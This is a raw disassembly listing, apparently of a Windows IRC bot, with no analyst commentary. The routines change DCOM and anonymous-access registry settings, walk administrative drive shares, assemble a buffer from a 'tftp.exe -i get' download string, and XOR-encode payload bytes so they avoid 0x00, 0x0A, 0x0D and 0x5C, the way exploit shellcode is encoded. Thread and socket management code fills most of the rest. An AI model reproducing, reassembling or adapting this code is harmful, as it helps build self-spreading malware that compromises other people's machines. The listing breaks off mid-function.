call dword_441304
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_416785
cmp eax, 0EAh
jz short loc_416785
mov esi, offset off_43AEC8
loc_416719: ; CODE XREF: sub_416561+21Dj
push dword ptr [esi]
push edi
call sub_40E261
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_416730
push offset unk_43B02C
jmp short loc_416735
; ---------------------------------------------------------------------------
loc_416730: ; CODE XREF: sub_416561+1C6j
push offset unk_43AFF0
loc_416735: ; CODE XREF: sub_416561+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41792A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_416768
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_416768: ; CODE XREF: sub_416561+1EBj
lea eax, [ebp+var_214]
push eax
call sub_40C4F7
add esi, 8
pop ecx
cmp esi, offset off_43AEE8
jl short loc_416719
jmp loc_41681D
; ---------------------------------------------------------------------------
loc_416785: ; CODE XREF: sub_416561+1AAj
; sub_416561+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_416814
loc_416794: ; CODE XREF: sub_416561+2AFj
mov edi, [esi]
push edi
call sub_417C91
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_416809
push edi
call sub_40E14E
push eax
push 0
call sub_40E261
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_4167C3
push offset unk_43AFBC
jmp short loc_4167C8
; ---------------------------------------------------------------------------
loc_4167C3: ; CODE XREF: sub_416561+259j
push offset unk_43AF80
loc_4167C8: ; CODE XREF: sub_416561+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41792A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_4167FC
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_4167FC: ; CODE XREF: sub_416561+27Fj
lea eax, [ebp+var_214]
push eax
call sub_40C4F7
pop ecx
loc_416809: ; CODE XREF: sub_416561+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_416794
xor edi, edi
loc_416814: ; CODE XREF: sub_416561+22Dj
push [ebp+var_8]
call dword_441448
loc_41681D: ; CODE XREF: sub_416561+21Fj
cmp [ebp+var_10], 0EAh
jz loc_4166E8
lea eax, [ebp+var_214]
push offset unk_43AF48
push eax
call sub_4173AC
pop ecx
pop ecx
pop ebx
jmp short loc_416853
; ---------------------------------------------------------------------------
loc_416840: ; CODE XREF: sub_416561+177j
lea eax, [ebp+var_214]
push offset unk_43AF08
push eax
call sub_4173AC
pop ecx
pop ecx
loc_416853: ; CODE XREF: sub_416561+2DDj
cmp [ebp+arg_C], edi
jnz short loc_416871
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_416871: ; CODE XREF: sub_416561+2F5j
lea eax, [ebp+var_214]
push eax
call sub_40C4F7
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_416561 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416885 proc near ; CODE XREF: sub_416501:loc_416548p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_441488, ebx
push esi
jnz loc_4169B3
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_441428 ; RegOpenKeyExA
test eax, eax
jnz short loc_416910
mov ax, word_43B424
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4413DC ; RegSetValueExA
test eax, eax
jz short loc_4168F2
push offset unk_43B3F0
jmp short loc_4168F7
; ---------------------------------------------------------------------------
loc_4168F2: ; CODE XREF: sub_416885+64j
push offset dword_43B3C4
loc_4168F7: ; CODE XREF: sub_416885+6Bj
lea eax, [ebp+var_220]
push eax
call sub_4173AC
pop ecx
pop ecx
push [ebp+var_4]
call dword_441394 ; RegCloseKey
jmp short loc_416923
; ---------------------------------------------------------------------------
loc_416910: ; CODE XREF: sub_416885+36j
lea eax, [ebp+var_220]
push offset unk_43B190
push eax
call sub_4173AC
pop ecx
pop ecx
loc_416923: ; CODE XREF: sub_416885+89j
cmp [ebp+arg_C], ebx
jnz short loc_416942
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_416942: ; CODE XREF: sub_416885+A1j
lea eax, [ebp+var_220]
push eax
call sub_40C4F7
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_441428 ; RegOpenKeyExA
test eax, eax
jnz short loc_4169AC
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4413DC ; RegSetValueExA
test eax, eax
jz short loc_41698E
push offset unk_43B378
jmp short loc_416993
; ---------------------------------------------------------------------------
loc_41698E: ; CODE XREF: sub_416885+100j
push offset unk_43B334
loc_416993: ; CODE XREF: sub_416885+107j
lea eax, [ebp+var_220]
push eax
call sub_4173AC
pop ecx
pop ecx
push [ebp+var_4]
call dword_441394 ; RegCloseKey
jmp short loc_4169C6
; ---------------------------------------------------------------------------
loc_4169AC: ; CODE XREF: sub_416885+E2j
push offset unk_43B2E8
jmp short loc_4169B8
; ---------------------------------------------------------------------------
loc_4169B3: ; CODE XREF: sub_416885+13j
push offset unk_43B060
loc_4169B8: ; CODE XREF: sub_416885+12Cj
lea eax, [ebp+var_220]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_4169C6: ; CODE XREF: sub_416885+125j
cmp [ebp+arg_C], ebx
jnz short loc_4169E5
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_4169E5: ; CODE XREF: sub_416885+144j
lea eax, [ebp+var_220]
push eax
call sub_40C4F7
cmp dword_4414B0, ebx
pop ecx
jnz loc_416B57
push edi
mov esi, offset off_43AEC8
mov edi, 200h
loc_416A09: ; CODE XREF: sub_416885+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_40E1B5
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_416A24
push offset unk_43B2B8
jmp short loc_416A29
; ---------------------------------------------------------------------------
loc_416A24: ; CODE XREF: sub_416885+196j
push offset unk_43B280
loc_416A29: ; CODE XREF: sub_416885+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41792A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_416A58
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_416A58: ; CODE XREF: sub_416885+1B7j
lea eax, [ebp+var_220]
push eax
call sub_40C4F7
add esi, 8
pop ecx
cmp esi, offset off_43AED8
jl short loc_416A09
nop
call near ptr 7C830B14h
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_416B3F
loc_416A83: ; CODE XREF: sub_416885+2B4j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_416B34
cmp bl, 41h
jz loc_416B34
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41792A
push esi
push offset aC_1 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41792A
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_441418 ; GetDriveTypeA
cmp eax, 3
jnz short loc_416B34
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_40E1B5
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_416AF2
push offset unk_43B2B8
jmp short loc_416AF7
; ---------------------------------------------------------------------------
loc_416AF2: ; CODE XREF: sub_416885+264j
push offset unk_43B280
loc_416AF7: ; CODE XREF: sub_416885+26Bj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41792A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_416B27
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_416B27: ; CODE XREF: sub_416885+286j
lea eax, [ebp+var_220]
push eax
call sub_40C4F7
pop ecx
loc_416B34: ; CODE XREF: sub_416885+206j
; sub_416885+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_416A83
loc_416B3F: ; CODE XREF: sub_416885+1F8j
lea eax, [ebp+var_220]
push offset unk_43B240
push eax
call sub_4173AC
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_416B6A
; ---------------------------------------------------------------------------
loc_416B57: ; CODE XREF: sub_416885+173j
lea eax, [ebp+var_220]
push offset unk_43AF08
push eax
call sub_4173AC
pop ecx
pop ecx
loc_416B6A: ; CODE XREF: sub_416885+2D0j
cmp [ebp+arg_C], ebx
jnz short loc_416B88
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_416B88: ; CODE XREF: sub_416885+2E8j
lea eax, [ebp+var_220]
push eax
call sub_40C4F7
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_416885 endp
; ---------------------------------------------------------------------------
dword_416B9C dd 6A016Ah, 6A006Ah, 0FFF9B8E8h, 10C483FFh, 0AEC035FFh
; DATA XREF: ___:0040F111o
dd 0E8900043h, 7C3EB88Ah
db 0EBh, 0E2h
; =============== S U B R O U T I N E =======================================
sub_416BBA proc near ; CODE XREF: sub_416BDA+Ap
; sub_416CB2+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_417AF0
push [esp+8+arg_4]
mov esi, eax
call sub_417AF0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_416BBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BDA proc near ; CODE XREF: sub_416CC9+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_416BBA
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_416BF7
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_416BF7: ; CODE XREF: sub_416BDA+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_417AF0
push [ebp+arg_C]
mov esi, eax
call sub_417AF0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43B4BC, eax
lea eax, [edi+1]
mov dword_43B4DD, eax
lea eax, [edi+17h]
mov dword_43B4D5, eax
pop eax
push 74h
sub eax, edi
push offset dword_43B458
push ebx
mov dword_43B4EB, eax
call sub_417490
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_417490
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_417490
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_417490
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_417490
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_417490
add esi, edi
push 38h
add esi, ebx
push offset byte_43B4E1
push esi
call sub_417490
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416BDA endp
; =============== S U B R O U T I N E =======================================
sub_416CB2 proc near ; CODE XREF: sub_416CC9+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_416BBA
push eax
call sub_416D36
add esp, 0Ch
retn
sub_416CB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC9 proc near ; CODE XREF: sub_403BE2+32p
; sub_404D78+43p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_416CB2
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_416CE9
cmp eax, 0FFFFh
jbe short loc_416CED
loc_416CE9: ; CODE XREF: sub_416CC9+17j
xor eax, eax
jmp short loc_416D32
; ---------------------------------------------------------------------------
loc_416CED: ; CODE XREF: sub_416CC9+1Ej
push esi
push edi
push ebx
call sub_416BBA
add eax, 101h
push eax
call sub_417BEE
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_416BBA
pop ecx
pop ecx
push eax
push esi
call sub_416BDA
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416D51
push esi
mov edi, eax
call sub_417C62
add esp, 24h
mov eax, edi
pop esi
loc_416D32: ; CODE XREF: sub_416CC9+22j
pop edi
pop ebx
pop ebp
retn
sub_416CC9 endp
; =============== S U B R O U T I N E =======================================
sub_416D36 proc near ; CODE XREF: sub_416CB2+Ep
; sub_416D51+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_416D3F
inc ecx
loc_416D3F: ; CODE XREF: sub_416D36+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_416D36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D51 proc near ; CODE XREF: sub_416CC9+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_416D6D
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_416D6D
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_416D6D
cmp byte ptr [ebp+arg_C], 0
jnz short loc_416D70
loc_416D6D: ; CODE XREF: sub_416D51+8j
; sub_416D51+Ej ...
inc [ebp+arg_C]
loc_416D70: ; CODE XREF: sub_416D51+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_416D98
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_416D91
cmp al, 0Dh
jz short loc_416D91
cmp al, 5Ch
jz short loc_416D91
test al, al
jnz short loc_416D98
loc_416D91: ; CODE XREF: sub_416D51+32j
; sub_416D51+36j ...
add [ebp+arg_C], 100h
loc_416D98: ; CODE XREF: sub_416D51+28j
; sub_416D51+3Ej
push [ebp+arg_C]
call sub_416D36
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_416DB0
cmp eax, 0FFFFh
jbe short loc_416DB7
loc_416DB0: ; CODE XREF: sub_416D51+56j
xor eax, eax
jmp loc_416E55
; ---------------------------------------------------------------------------
loc_416DB7: ; CODE XREF: sub_416D51+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_515858
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_416DE7
loc_416DCB: ; CODE XREF: sub_416D51+94j
mov al, [edx+edi]
xor al, bl
jz short loc_416DDE
cmp al, 0Ah
jz short loc_416DDE
cmp al, 0Dh
jz short loc_416DDE
cmp al, 5Ch
jnz short loc_416DE2
loc_416DDE: ; CODE XREF: sub_416D51+7Fj
; sub_416D51+83j ...
inc bl
xor edx, edx
loc_416DE2: ; CODE XREF: sub_416D51+8Bj
inc edx
cmp edx, ecx
jb short loc_416DCB
loc_416DE7: ; CODE XREF: sub_416D51+78j
cmp ecx, esi
mov byte_515858, bl
ja short loc_416E13
push 15h
push offset loc_43B440
push [ebp+arg_0]
mov byte_43B44D, cl
mov byte_43B451, bl
call sub_417490
add esp, 0Ch
push 15h
jmp short loc_416E34
; ---------------------------------------------------------------------------
loc_416E13: ; CODE XREF: sub_416D51+9Ej
push 17h
push offset loc_43B428
push [ebp+arg_0]
mov word_43B436, cx
mov byte_43B43B, bl
call sub_417490
add esp, 0Ch
push 17h
loc_416E34: ; CODE XREF: sub_416D51+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_416E50
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_416E42: ; CODE XREF: sub_416D51+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_416E42
loc_416E50: ; CODE XREF: sub_416D51+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_416E55: ; CODE XREF: sub_416D51+61j
pop esi
leave
retn
sub_416D51 endp
; =============== S U B R O U T I N E =======================================
sub_416E58 proc near ; CODE XREF: sub_406047+220p
; sub_4071BD+F0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_446C10
loc_416E60: ; CODE XREF: sub_416E58+18j
cmp byte ptr [eax], 0
jz short loc_416E74
add eax, 234h
inc edi
cmp eax, offset dword_5154C0
jl short loc_416E60
jmp short loc_416EBF
; ---------------------------------------------------------------------------
loc_416E74: ; CODE XREF: sub_416E58+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_446C10[esi]
push eax
call sub_4182F0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_446E10[esi], eax
and dword_446E14[esi], 0
mov eax, [esp+8+arg_8]
and dword_446E18[esi], 0
mov dword_446E1C[esi], eax
and byte_446E28[esi], 0
pop esi
loc_416EBF: ; CODE XREF: sub_416E58+1Aj
mov eax, edi
pop edi
retn
sub_416E58 endp
; ---------------------------------------------------------------------------
byte_416EC3 db 55h ; DATA XREF: sub_40F6F1+5D1Do
dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
dd 26Ch, 6A14C483h, 45E89000h, 5F7C3F51h, 0EC8B555Eh, 200EC81h
dd 57560000h, 75FF006Ah, 0B51C6810h, 75FF0043h, 875FF0Ch
dd 0FF6CDBE8h, 14C483FFh, 10BEFF33h, 8000446Ch, 3C74003Eh
dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh
dd 43790Ch, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh
dd 75FF5010h, 875FF0Ch, 0FF6C93E8h, 24C483FFh, 234C681h
dd 81470000h, 5154C0FEh, 5FB07C00h
; ---------------------------------------------------------------------------
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_416F93 proc near ; CODE XREF: sub_40F6F1+5060p
; sub_417021+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_41701B
cmp esi, 5DCh
jge short loc_41701B
imul esi, 234h
push edi
push ebx
push dword_446E24[esi]
lea edi, dword_446E24[esi]
nop
call near ptr 7C81CE03h
cmp [edi], ebx
jz short loc_416FCB
push 1
pop ebp
loc_416FCB: ; CODE XREF: sub_416F93+33j
mov [edi], ebx
lea edi, dword_446E18[esi]
mov dword_446E10[esi], ebx
mov dword_446E14[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_416FEC
push eax
call sub_415EA0
pop ecx
loc_416FEC: ; CODE XREF: sub_416F93+50j
mov [edi], ebx
lea edi, dword_446E1C[esi]
mov byte ptr dword_446C10[esi], bl
mov byte_446E28[esi], bl
push dword ptr [edi]
call dword_441450 ; closesocket
lea esi, dword_446E20[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_441450 ; closesocket
mov [esi], ebx
pop edi
loc_41701B: ; CODE XREF: sub_416F93+Dj
; sub_416F93+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_416F93 endp
; =============== S U B R O U T I N E =======================================
sub_417021 proc near ; CODE XREF: sub_40ABB7:loc_40ABDBp
; sub_40D93C+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_446C10
loc_41702D: ; CODE XREF: sub_417021+2Aj
cmp byte ptr [esi], 0
jz short loc_41703E
push edi
call sub_416F93
test eax, eax
pop ecx
jz short loc_41703E
inc ebx
loc_41703E: ; CODE XREF: sub_417021+Fj
; sub_417021+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_5154C0
jl short loc_41702D
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_417021 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417053 proc near ; CODE XREF: sub_40F6F1+1EB8p
; sub_40F6F1+202Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_446E14
loc_417067: ; CODE XREF: sub_417053+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_417089
test edi, edi
jle short loc_41707B
cmp [esi], edi
jz short loc_41707B
cmp ebx, edi
jnz short loc_417089
loc_41707B: ; CODE XREF: sub_417053+1Ej
; sub_417053+22j
push ebx
call sub_416F93
test eax, eax
pop ecx
jz short loc_417089
inc [ebp+var_4]
loc_417089: ; CODE XREF: sub_417053+1Aj
; sub_417053+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_5156C4
jl short loc_417067
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_417053 endp
; =============== S U B R O U T I N E =======================================
sub_4170A0 proc near ; CODE XREF: sub_407146+Bp
; sub_4071BD+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_446E10
loc_4170A7: ; CODE XREF: sub_4170A0+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_4170B0
inc eax
loc_4170B0: ; CODE XREF: sub_4170A0+Dj
add ecx, 234h
cmp ecx, offset dword_5156C0
jl short loc_4170A7
retn
sub_4170A0 endp
; =============== S U B R O U T I N E =======================================
sub_4170BF proc near ; CODE XREF: sub_40F6F1+57D8p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_446E10
loc_4170C9: ; CODE XREF: sub_4170BF+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_4170E2
add ecx, 234h
inc edx
cmp ecx, offset dword_5156C0
jl short loc_4170C9
pop esi
retn
; ---------------------------------------------------------------------------
loc_4170E2: ; CODE XREF: sub_4170BF+10j
mov eax, edx
pop esi
retn
sub_4170BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4170E6 proc near ; CODE XREF: sub_40F6F1:loc_41078Fp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_4170FF
push [ebp+arg_1C]
call sub_41791F
pop ecx
loc_4170FF: ; CODE XREF: sub_4170E6+Ej
push eax
push [ebp+arg_18]
call sub_417053
pop ecx
test eax, eax
pop ecx
jle short loc_41712B
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_4173AC
add esp, 14h
jmp short loc_417145
; ---------------------------------------------------------------------------
loc_41712B: ; CODE XREF: sub_4170E6+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_4173AC
add esp, 10h
loc_417145: ; CODE XREF: sub_4170E6+43j
cmp [ebp+arg_C], 0
jnz short loc_417165
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_417165: ; CODE XREF: sub_4170E6+63j
lea eax, [ebp+var_200]
push eax
call sub_40C4F7
pop ecx
leave
retn
sub_4170E6 endp
; =============== S U B R O U T I N E =======================================
sub_417174 proc near ; CODE XREF: sub_401000+A2p
; sub_401447+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_446E24[eax], ecx
mov dword_446E10[eax], ecx
mov dword_446E14[eax], ecx
mov dword_446E18[eax], ecx
mov dword_446E1C[eax], ecx
mov dword_446E20[eax], ecx
mov byte ptr dword_446C10[eax], cl
mov byte_446E28[eax], cl
retn
sub_417174 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171B1 proc near ; CODE XREF: sub_40F6F1+6310p
; sub_4172DF+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4171BB: ; CODE XREF: sub_4171B1+68j
mov cl, [esi]
test cl, cl
jz short loc_41721B
cmp eax, 1
jnz short loc_41721B
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_41721B
cmp cl, 2Ah
jz short loc_417202
cmp cl, 3Fh
jz short loc_4171E5
cmp cl, 5Bh
jz short loc_4171EA
xor eax, eax
cmp cl, dl
setz al
loc_4171E5: ; CODE XREF: sub_4171B1+26j
inc [ebp+arg_4]
jmp short loc_417215
; ---------------------------------------------------------------------------
loc_4171EA: ; CODE XREF: sub_4171B1+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_417247
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417215
; ---------------------------------------------------------------------------
loc_417202: ; CODE XREF: sub_4171B1+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4172DF
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_417215: ; CODE XREF: sub_4171B1+37j
; sub_4171B1+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4171BB
; ---------------------------------------------------------------------------
loc_41721B: ; CODE XREF: sub_4171B1+Ej
; sub_4171B1+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_41722B
cmp eax, 1
jnz short loc_417242
inc esi
mov [ebp+arg_0], esi
jmp short loc_41721B
; ---------------------------------------------------------------------------
loc_41722B: ; CODE XREF: sub_4171B1+6Dj
cmp eax, 1
jnz short loc_417242
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_417242
cmp byte ptr [esi], 0
jnz short loc_417242
push 1
pop eax
jmp short loc_417244
; ---------------------------------------------------------------------------
loc_417242: ; CODE XREF: sub_4171B1+72j
; sub_4171B1+7Dj ...
xor eax, eax
loc_417244: ; CODE XREF: sub_4171B1+8Fj
pop esi
pop ebp
retn
sub_4171B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417247 proc near ; CODE XREF: sub_4171B1+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_417268
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_417268: ; CODE XREF: sub_417247+19j
push ebx
push esi
loc_41726A: ; CODE XREF: sub_417247+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_417278
cmp [ebp+var_4], eax
jnz short loc_4172C4
loc_417278: ; CODE XREF: sub_417247+2Aj
test edi, edi
jnz short loc_4172B9
cmp bl, 2Dh
jnz short loc_4172AD
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_4172AD
cmp al, 5Dh
jz short loc_4172AD
cmp [ebp+var_4], edi
jnz short loc_4172AD
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
